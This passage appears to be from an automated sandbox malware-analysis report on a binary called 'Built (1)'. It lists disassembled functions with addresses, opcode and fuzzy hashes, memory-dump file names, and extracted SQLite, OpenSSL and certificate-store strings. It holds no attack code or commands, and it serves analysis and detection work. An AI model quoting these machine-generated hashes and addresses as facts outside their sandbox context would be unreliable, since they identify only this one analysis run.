                                              • Opcode ID: c6e3293670604270eb17b939ecf747f0f53c2528b297dd3ceac71c44ac4c120e
                                              • Instruction ID: 0930e519e18650b47413b6a10eac5ee1c4090c6cd8c85a83209d0693150d2a25
                                              • Opcode Fuzzy Hash: c6e3293670604270eb17b939ecf747f0f53c2528b297dd3ceac71c44ac4c120e
                                              • Instruction Fuzzy Hash: 5C02D672A0EA8281E755AB15E8447BD77A0FB84B84F18813ADB8D477B9DF3CE551CB00
                                              Function 00007FFDFF22DC60 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 381COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: hidden$vtable constructor called recursively: %s$vtable constructor did not declare schema: %s$vtable constructor failed: %s
                                              • API String ID: 1130837773-1299490920
                                              • Opcode ID: 64bb2fdb143ca155b740c3b55a651e27a46dc8bed080fd927b3e6672c309efb7
                                              • Instruction ID: 24fb7636fd175c2148db18002c3d43d62076a911b1fc1604929e4025c49b8994
                                              • Opcode Fuzzy Hash: 64bb2fdb143ca155b740c3b55a651e27a46dc8bed080fd927b3e6672c309efb7
                                              • Instruction Fuzzy Hash: D4F18A32B08A8281EB608F159464B7A67A1FB44B94F844339EE7E877D9DF3CE955C340
                                              Function 00007FFDFF1BBB10 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 367COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %s at line %d of [%.10s]$database corruption$e876e51a0ed5c5b3126f52e532044363a014bc594cfefa87ffb5b82257cc467a
                                              • API String ID: 1130837773-2614787333
                                              • Opcode ID: c2e6f1f7f5a49e47c3fedc7427d4977bb2209b7ce8288fd8f4801d1548f1e61e
                                              • Instruction ID: b84524a9d389b1c74ebcfd597858edd0bc23d29573c5f12f28fefbc6cf9b419b
                                              • Opcode Fuzzy Hash: c2e6f1f7f5a49e47c3fedc7427d4977bb2209b7ce8288fd8f4801d1548f1e61e
                                              • Instruction Fuzzy Hash: 93F15B33B08B8186D764DB15E454BAA77A1FB84B94F108236EBAE43BA9DF39D444C700
                                              Function 00007FFDFF1F5D40 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 338COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              • unknown column "%s" in foreign key definition, xrefs: 00007FFDFF1F60EE
                                              • foreign key on %s should reference only one column of table %T, xrefs: 00007FFDFF1F5DC5
                                              • number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 00007FFDFF1F5DEE
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
                                              • API String ID: 1130837773-272990098
                                              • Opcode ID: d50f7300ccf5aae35c62d5c6e9b94a443bba0d91a1ccfb2b2a8b852475f55535
                                              • Instruction ID: 900b270fbe1bbc590bb4da10bd7df4d764c4bfa689f85d0de12ba511a8d0cd1c
                                              • Opcode Fuzzy Hash: d50f7300ccf5aae35c62d5c6e9b94a443bba0d91a1ccfb2b2a8b852475f55535
                                              • Instruction Fuzzy Hash: A9D1CC63F097C282EB648B159464AB96BA5EB91BD8F584235DE7E437CADF3CE441C300
                                              Function 00007FFDFF1CD8AD Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 318COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: cannot open savepoint - SQL statements in progress$cannot release savepoint - SQL statements in progress$no such savepoint: %s$statement aborts at %d: [%s] %s
                                              • API String ID: 1130837773-4278080707
                                              • Opcode ID: dcbed7a54b2491be93850ff1599998be0407706ebcbb318f66528fa332014926
                                              • Instruction ID: 2a77e925cd40606cdc420ab04709caef7daac998b21d6e9c3b7bc89013cfd126
                                              • Opcode Fuzzy Hash: dcbed7a54b2491be93850ff1599998be0407706ebcbb318f66528fa332014926
                                              • Instruction Fuzzy Hash: 4AE15776F0868285FB248A269068BBE67A2FB45BC4F150235CE7E577D9DF38E441C740
                                              Function 00007FFDFF1B50D0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %s at line %d of [%.10s]$database corruption$e876e51a0ed5c5b3126f52e532044363a014bc594cfefa87ffb5b82257cc467a
                                              • API String ID: 1130837773-2614787333
                                              • Opcode ID: 6f55c0abbbc45f5fb19cee032e939be574d4257859d0e74dd2e687dac7a36fc0
                                              • Instruction ID: 09a8e25313621562dbfb2a3930d2320c4e6dc6e45303e6d7781e39fe177e2bb0
                                              • Opcode Fuzzy Hash: 6f55c0abbbc45f5fb19cee032e939be574d4257859d0e74dd2e687dac7a36fc0
                                              • Instruction Fuzzy Hash: 84D1AA73B08685C6DB60CF19A460AA9B7A5FB84B84F554232DF6D8779DEF38D801CB40
                                              Function 00007FFDFF1E8350 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 296COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: "%w" $%Q%s
                                              • API String ID: 1130837773-1987291987
                                              • Opcode ID: 0b26ff1b78ae877a882e77c6b96c364d9b79ceb57fe91660de956d4879108434
                                              • Instruction ID: fb709b8d64cd15b3de562b90d85d80dbd716ed9926b6329bbb7efb019c7d02d6
                                              • Opcode Fuzzy Hash: 0b26ff1b78ae877a882e77c6b96c364d9b79ceb57fe91660de956d4879108434
                                              • Instruction Fuzzy Hash: 70C1CF22F08B8286EB24CF16A4A0A7A67A1FF55BA4F144735DA7E477D8CF3CE4558700
                                              Function 00007FFDFF1B0AF0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 253COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %s at line %d of [%.10s]$database corruption$e876e51a0ed5c5b3126f52e532044363a014bc594cfefa87ffb5b82257cc467a
                                              • API String ID: 1130837773-2614787333
                                              • Opcode ID: 637cf1625e38bca7ce24f143d488f02179850450cb23f7f8812ad4f19bc98ad4
                                              • Instruction ID: ad6ab22551929ff4a071a644178b9e07ee86612849c52a390217075542a53c39
                                              • Opcode Fuzzy Hash: 637cf1625e38bca7ce24f143d488f02179850450cb23f7f8812ad4f19bc98ad4
                                              • Instruction Fuzzy Hash: D6A1BF73B082D185D7648B1994A4ABA7BA2FB80B80F054636DBBE837C9DF3CE545D710
                                              Function 00007FFDFF1E73E0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 215COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: Cannot add a column to a view$sqlite_altertab_%s$virtual tables may not be altered
                                              • API String ID: 1130837773-2063813899
                                              • Opcode ID: 076ea07416c59d526105795dee309f6058bbeaed0fccf3d3668fa670a04b32ab
                                              • Instruction ID: adf3d887755e6982f8759effb16f711bdb23446a859ae256031a5a95e0df46b8
                                              • Opcode Fuzzy Hash: 076ea07416c59d526105795dee309f6058bbeaed0fccf3d3668fa670a04b32ab
                                              • Instruction Fuzzy Hash: 35919B63E09B8182EB51CF16E424AB977A5FB88B84F458235DEBD47799EF38E055C300
                                              Function 00007FFDFF1B8170 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 212COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %s at line %d of [%.10s]$database corruption$e876e51a0ed5c5b3126f52e532044363a014bc594cfefa87ffb5b82257cc467a
                                              • API String ID: 1130837773-2614787333
                                              • Opcode ID: 93cf4debca2814ecd5c659af1ea1e1c678d671cea4b25b4edb345575708bbb30
                                              • Instruction ID: 2ad046aeed4923a279bb252ef36d4530fe288b9cd18cb18f024fdce3455ec50c
                                              • Opcode Fuzzy Hash: 93cf4debca2814ecd5c659af1ea1e1c678d671cea4b25b4edb345575708bbb30
                                              • Instruction Fuzzy Hash: 6791B063B0868186D710CB26D5A0ABDBBA0FB44B54F088235DB7D876D9DF3CE856C714
                                              Function 00007FFDFF1BAB90 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 197COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %s at line %d of [%.10s]$database corruption$e876e51a0ed5c5b3126f52e532044363a014bc594cfefa87ffb5b82257cc467a
                                              • API String ID: 1130837773-2614787333
                                              • Opcode ID: f33f49acf3427e9adf57a934c1b8c5b0c1d635060575f0070743a0087509849b
                                              • Instruction ID: 8521c22cc90ac8d9bcebaaf8d13a92a9409a2423f6a69d34e6362eab0d1d232f
                                              • Opcode Fuzzy Hash: f33f49acf3427e9adf57a934c1b8c5b0c1d635060575f0070743a0087509849b
                                              • Instruction Fuzzy Hash: 5981AD33B0868286E7609F25D464BAA77A5FB44B84F058236EF6D877D9DF38E446C700
                                              Function 00007FFE0EB3A86C Relevance: 7.7, APIs: 5, Instructions: 162encryptionCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908122453.00007FFE0EB31000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFE0EB30000, based on PE: true
                                              • Associated: 00000001.00000002.1908094466.00007FFE0EB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB50000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB59000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB5D000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908249588.00007FFE0EB60000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908278001.00007FFE0EB62000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe0eb30000_Built (1).jbxd
                                              Similarity
                                              • API ID: Cert$Store$00007B36204CloseContextEnumErrorFreeLastOpen
                                              • String ID:
                                              • API String ID: 1580901228-0
                                              • Opcode ID: 4093750ed7f290c8dad98aa25004d1a8d7f992416c83ecb948f17b197fb2f0c1
                                              • Instruction ID: e77de03bacb178ddfa608a659de73f737c9415c004950d939e9b2c3cda19bf95
                                              • Opcode Fuzzy Hash: 4093750ed7f290c8dad98aa25004d1a8d7f992416c83ecb948f17b197fb2f0c1
                                              • Instruction Fuzzy Hash: 9F613C36E0960386EA755F319A1A13873A5AF89F91F294530CACE16BB0DE3DB455CB00
                                              Function 00007FFDFF1CCD86 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 459COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: out of memory$statement aborts at %d: [%s] %s$string or blob too big
                                              • API String ID: 0-3170954634
                                              • Opcode ID: e42e623f12d3ff058b67ea39ca2002e5b1ac7a24de13dc704832c08d2766b872
                                              • Instruction ID: 8c74a25eb61fd61292c678a5b1c0bf572985a82231feb8dc223f330b6da12915
                                              • Opcode Fuzzy Hash: e42e623f12d3ff058b67ea39ca2002e5b1ac7a24de13dc704832c08d2766b872
                                              • Instruction Fuzzy Hash: 60225973F0868686E754CF269060AAE77A2FB45B84F104236DA7D977D9DF38E841CB40
                                              Function 00007FFDFF218DA0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 285COMMON
                                              Download Yara Rule
                                              APIs
                                              • 00007FFE1A462010.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000,?,FFFFFFFF,00000000,00007FFDFF2195E5,?,?,00000000), ref: 00007FFDFF218F67
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %.*z:%u$column%d$rowid
                                              • API String ID: 1130837773-2903559916
                                              • Opcode ID: 6c50b32a450f7a2635b72419f2b73cf936b7ab1a5b1df9656cbaf6d9bf945f02
                                              • Instruction ID: b747330b95f6be43d4b8cc46fef78b7fd60695bc57c576c477380a50b906605f
                                              • Opcode Fuzzy Hash: 6c50b32a450f7a2635b72419f2b73cf936b7ab1a5b1df9656cbaf6d9bf945f02
                                              • Instruction Fuzzy Hash: E3B1CC22B0968295EB658F1594A0BBA77A1EF41B98F894235DA7DC73C9DF3CE401C348
                                              Function 00007FFDFF227450 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 244COMMON
                                              Download Yara Rule
                                              APIs
                                              • 00007FFE1A462010.VCRUNTIME140(?,?,?,?,00000000,00000080,?,?,00000000,00007FFDFF22793F), ref: 00007FFDFF2275FB
                                              • 00007FFE1A462010.VCRUNTIME140(?,?,?,?,00000000,00000080,?,?,00000000,00007FFDFF22793F), ref: 00007FFDFF227679
                                              • 00007FFE1A462010.VCRUNTIME140(?,?,?,?,00000000,00000080,?,?,00000000,00007FFDFF22793F), ref: 00007FFDFF22776B
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: RETURNING may not use "TABLE.*" wildcards
                                              • API String ID: 1130837773-2313493979
                                              • Opcode ID: d5a34fe09a3b495ae35d85169f5bec7ad8285b25d8f9030c84e24d08fbb18cfe
                                              • Instruction ID: d2a8e54bd727914cf1c67d71bccad7ffdfecc00520a08730542948a063fb5b74
                                              • Opcode Fuzzy Hash: d5a34fe09a3b495ae35d85169f5bec7ad8285b25d8f9030c84e24d08fbb18cfe
                                              • Instruction Fuzzy Hash: AFB17A22B09B8286EB20CF15D4506A977A1FB86BA4F458335DE7D877D9DF38E094C300
                                              Function 00007FFE0078EB40 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 223COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007
                                              • String ID: ..\s\ssl\ssl_sess.c$SSL_SESSION_new$ssl_get_new_session
                                              • API String ID: 3568877910-2527649602
                                              • Opcode ID: 299e744d3fb80eb2864e8ed4a60e956266d685f293fb1550d14b66d166728d4d
                                              • Instruction ID: da2dd2ca6a40e642467e7ae293a75526b0127f831e6a5ba1dfc41af61399220e
                                              • Opcode Fuzzy Hash: 299e744d3fb80eb2864e8ed4a60e956266d685f293fb1550d14b66d166728d4d
                                              • Instruction Fuzzy Hash: A2B13561B0AA8682EB45FB21D8547B82761FB84B84F484036DF4D5B7BEDF2CE545C310
                                              Function 00007FFDFF1DCA80 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 220COMMON
                                              Download Yara Rule
                                              APIs
                                              • 00007FFE1A462010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF1D6F9C), ref: 00007FFDFF1DCBD8
                                              • 00007FFE1A462010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF1D6F9C), ref: 00007FFDFF1DCC02
                                              • 00007FFE1A462010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFF1D6F9C), ref: 00007FFDFF1DCC55
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
